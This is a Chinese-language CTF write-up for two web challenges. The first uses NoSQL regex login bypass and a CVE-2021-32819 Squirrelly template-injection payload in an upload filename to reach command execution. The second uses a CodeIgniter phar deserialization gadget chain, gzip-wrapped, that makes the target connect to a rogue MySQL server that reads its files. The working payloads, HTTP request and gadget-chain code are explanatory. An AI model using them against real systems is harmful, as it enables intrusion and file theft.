EzNode2
利用nosql注入登录admin,ban掉了很多,但 regexp
可以用
{"username":{"$regex":".*?"},"password":{"$regex":".*?"}}
登录后可以传文件这里使用了 squirrelly 模板该模板有个CVE , CVE-2021-32819参考
https://github.com/advisories/GHSA-q8j6-pwqx-pm96
这里文件名是可控的本地测试下尝试使用网上的payload
"aaa\",\"autoEscape\":\"\",\"defaultFilter\":\"e');global.process.mainModule.require('child_process').exec('calc');//"
发现无法触发rce,原因是文件名不能出现 /
去掉 /
发现报错
Squirrelly Error: Bad template syntax
Invalid regular expression flags
================================
var tR='';tR+='<!DOCTYPE html>\n<html lang="en">\n <head>\n <meta charset="utf-8">\n <meta http-equiv="X-UA-Compatible" content="IE=edge">\n <meta name="viewport" content="width=device-width, initial-scale=1">\n\n <title>Bootstrap 4, from LayoutIt!</title>\n\n <meta name="description" content="Source code generated using layoutit.com">\n <meta name="author" content="LayoutIt!">\n\n <link href="/static/css/bootstrap.min.css" rel="stylesheet">\n <link href="/static/css/style.css" rel="stylesheet">\n <style>* {\n padding: 0;\n margin: 0;\n }\n ul {\n position: -webkit-sticky;\n position: sticky;\n top: 0;\n list-style-type: none;\n margin: 0;\n padding: 0;\n overflow: hidden;\n background-color: #333;\n font-size: 20px;\n }\n li {\n float: right;\n }\n \n li a {\n display: block;\n color: white;\n text-align: center;\n padding: 15px 30px;\n margin: 0pc 30px;\n text-decoration: none;\n }\n li a:hover {\n background-color: #111;\n }\n \n .welcomeContainer {\n padding-top: 3rem !important;\n
max-width: 720px;\n width: 50% !important;\n padding-right: 15px;\n padding-left: 15px;\n margin-right: auto;\n margin-left: auto;\n box-sizing: border-box;\n }\n .welcomeContainer > p {\n
margin-bottom: 1rem;\n }\n a {\n color: #007bff;\n text-decoration: none;\n background-color: transparent;\n }\n hr {\n margin-top: 1rem;\n margin-bottom: 1rem;\n border: 0;\n border-top: 1px solid rgba(0, 0, 0, 0.1);\n }\n h1 {\n font-size: 2.5rem;\n margin-bottom: 0.5rem;\n font-weight: 500;\n line-height: 1.2;\n }\n \n .uploadContainer {\n max-width: 620px;\n width:
50% !important;\n padding-top: 3rem !important;\n padding-right: 15px;\n padding-left: 15px;\n margin-right: auto;\n margin-left: auto;\n display: flex;\n flex-direction: column;\n }\n .uploadContainer input {\n display: block;\n width: 98%;\n height: calc(1.5em + 0.75rem + 2px);\n font-size: 1rem;\n padding: 0.2rem;\n font-weight: 400;\n line-height: 1.5;\n color: #495057;\n background-color: #fff;\n background-clip: padding-box;\n border: 1px solid #ced4da;\n border-radius: 0.25rem;\n transition: border-color 0.15s ease-in-out, box-shadow 0.15s ease-in-out;\n }\n .uploadContainer * {\n margin-top: 3px;\n margin-bottom: 10px;\n }\n .uploadContainer p {\n margin: 0;\n font-size: 18px;\n }\n .uploadContainer button {\n color: #fff;\n width: 100%;\n background-color: #0095ff;\n border-color: #007bff;\n font-weight: 400;\n text-align: center;\n vertical-align: middle;\n border: 1px solid transparent;\n padding: 0.375rem;\n font-size: 1rem;\n line-height: 1.5;\n border-radius: 0.25rem;\n transition: color 0.15s ease-in-out, background-color 0.15s ease-in-out,\n border-color 0.15s ease-in-out, box-shadow 0.15s ease-in-out;\n }\n </style>\n </head>\n <body>\n\n <div class="uploadContainer">\n <center>\n <h5>Give me a file, I can analyze the relevant information of it.</h5>\n \n <form action="/home" method="POST" enctype="multipart/form-data">\n <input type="file" name="file" id="file">\n <button name="submit" type="submit">Submit</button>\n </form>\n </center>\n </div>\n <br><br>\n <div class="container-fluid">\n <div class="row">\n <div class="col-md-12">\n <table class="table">\n <thead>\n <tr>\n <th>\n ID\n </th>\n <th>\n File Name\n </th>\n <th>\n File Size\n
</th>\n <th>\n Mime Type\n </th>\n <th>\n Md5 Hash\n </th>\n </tr>\n </thead>\n <tbody>\n <tr>\n <td>\n
0\n </td>\n <td>\n shell.jar\n </td>\n <td>\n 5268\n </td>\n <td>\n application/octet-stream\n </td>\n
<td>\n b3186dd95d6bec2a3f6d8df1f9822776\n </td>\n </tr>\n <tr class="table-active">\n <td>\n 1\n </td>\n <td>\n download.zip\n
</td>\n <td>\n 270210\n </td>\n <td>\n application/x-zip-compressed\n </td>\n <td>\n 3bf555cbd8dd2adc4b72cdf2b9b45ded\n </td>\n </tr>\n <tr class="table-success">\n <td>\n 2\n </td>\n <td>\n test.php\n </td>\n <td>\n 31\n </td>\n
<td>\n application/octet-stream\n </td>\n <td>\n 2a3d83868a52c042e4c974ce2dc635f3\n </td>\n </tr>\n <tr class="table-warning">\n <td>\n ';tR+=c.l('F','e');global.process.mainModule.require('child_process').exec('calc');')(it.id);tR+=' </td>\n <td>\n ';tR+=c.l('F','e');global.process.mainModule.require('child_process').exec('calc');')(it.filename);tR+=' </td>\n <td>\n ';tR+=c.l('F','e');global.process.mainModule.require('child_process').exec('calc');')(it.filesize);tR+=' </td>\n <td>\n
';tR+=c.l('F','e');global.process.mainModule.require('child_process').exec('calc');')(it.mimetype);tR+=' </td>\n <td>\n ';tR+=c.l('F','e');global.process.mainModule.require('child_process').exec('calc');')(it.filehash);tR+=' </td>\n </tr>\n </tbody>\n </table>\n </div>\n </div>\n</div>\n\n <script src="/static/js/jquery.min.js"></script>\n <script src="/static/js/bootstrap.min.js"></script>\n <script src="/static/js/scripts.js"></script>\n </body>\n</html>';if(cb){cb(null,tR)} return tR
可以根据报错信息构造闭合,即最终payload
filename="aaa\",\"autoEscape\":\"\",\"defaultFilter\":\"e');global.process.mainModule.require('child_process').exec('calc');('"
本地打
POST /home HTTP/1.1
Host: 192.168.43.172:3000
Content-Length: 377
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://192.168.43.172:3000
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryDvwrE2tlRi4jmBqg
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://192.168.43.172:3000/home
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: thejs.session=s%3AUp9yQEn0vPM_dMkpL_jNESYtJPmUqSuu.le9ri4EXozPqP7Arm%2Ba%2BpOkGZXjxymjlBPszQ4H5WkE
Connection: close
------WebKitFormBoundaryDvwrE2tlRi4jmBqg
Content-Disposition: form-data; name="file"; filename="aaa\",\"autoEscape\":\"\",\"defaultFilter\":\"e');global.process.mainModule.require('child_process').exec('calc');('"
Content-Type: 123
123
------WebKitFormBoundaryDvwrE2tlRi4jmBqg
Content-Disposition: form-data; name="submit"
------WebKitFormBoundaryDvwrE2tlRi4jmBqg--
本地成功弹计算机,然后打远程反弹shell即可
code4
wp来自队友 @1manity
进入题目环境是CodeIgniter 4.2.7拿dirsearch扫一下(限速扫)发现源码泄露
读出来www.zip 解压本地审计一下,主要的点在Upload.php
<?php
namespace App\Controllers;
use CodeIgniter\Files\File;
class Upload extends BaseController
{
protected $helpers = ['form'];
public function index()
{
return view('upload_form', ['errors' => []]);
}
public function upload()
{
$validationRule = [
'userfile' => [
'label' => 'Image File',
'rules' => 'uploaded[userfile]'
. '|max_size[userfile,100]'
. '|max_dims[userfile,1024,768]',
],
];
if (! $this->validate($validationRule)) {
$data = ['errors' => $this->validator->getErrors()];
return view('upload_form', $data);
}
$img = $this->request->getFile('userfile');
$img_content = file_get_contents($img);
if(preg_match("/HALT_COMPILER/i",$img_content)){
die("hack");
}
$name = $img->getName();
$img->store('',$name);
return view('upload_success');
}
public function info(){
$path = $this->request->getPost('name');
$data = ['uploaded_flleinfo' => new File($path)];
if($data){
return view('upload_info', $data);
}
else{
return "fail";
}
}
}
看到ban了HALT_COMPILER,想到phar反序列化,这个地方可以使用compress绕过。这个网上是可以找到一般的反序列化脚本的(不过没有源码)https://blog.csdn.net/qq_48985780/article/details/121252141 跟着他的思路,利用https://github.com/Gifts/Rogue-MySql-Server 这个工具在自己的恶意服务器上建立mysql服务,然后反序列化触发。
先配置服务器:
改rogue_mysql_server.py的配置
使用python2启动项目,会自动生成mysql.log改写为phar反序列化的脚本
<?php
namespace CodeIgniter\Database\MySQLi;
class Connection{
public $hostname='xxx.xxx.xxx.xxx';
public $port = '3307';
public $database = 'aaa';
public $username = 'root';
public $password = 'root';
public $charset = 'utf8';
}
namespace CodeIgniter;
class Model{
public $db;
public $table = 'hack';
public function __construct($db)
{
# code...
$this->db =$db;
}
}
namespace CodeIgniter\Session\Handlers;
class MemcachedHandler{
public $lockKey ='123';
public $memcached= 'a';
public function __construct($memcached)
{
# code...
$this->memcached =$memcached;
}
}
namespace CodeIgniter\Cache\Handlers;
class RedisHandler{
public $redis;
public function __construct($redis)
{
# code...
$this->redis =$redis;
}
}
$a = new RedisHandler(new \CodeIgniter\Session\Handlers\MemcachedHandler(new \CodeIgniter\Model(new \CodeIgniter\Database\MySQLi\Connection())));
echo serialize($a);
$phar = new \Phar("phar1.phar"); //后缀名必须为phar
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub
$phar->setMetadata($a); //将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
放入虚拟机中gzip compress一下
┌──(kali㉿kali)-[~/]
└─$ gzip phar.phar
┌──(kali㉿kali)-[~/]
└─$ mv phar.phar.gz phar.phar
在upload页面中上传
在 /index.php/upload/info 触发phar反序列化
在服务器的mysql.log中读取到链接过来的代码,读取了配置中的文件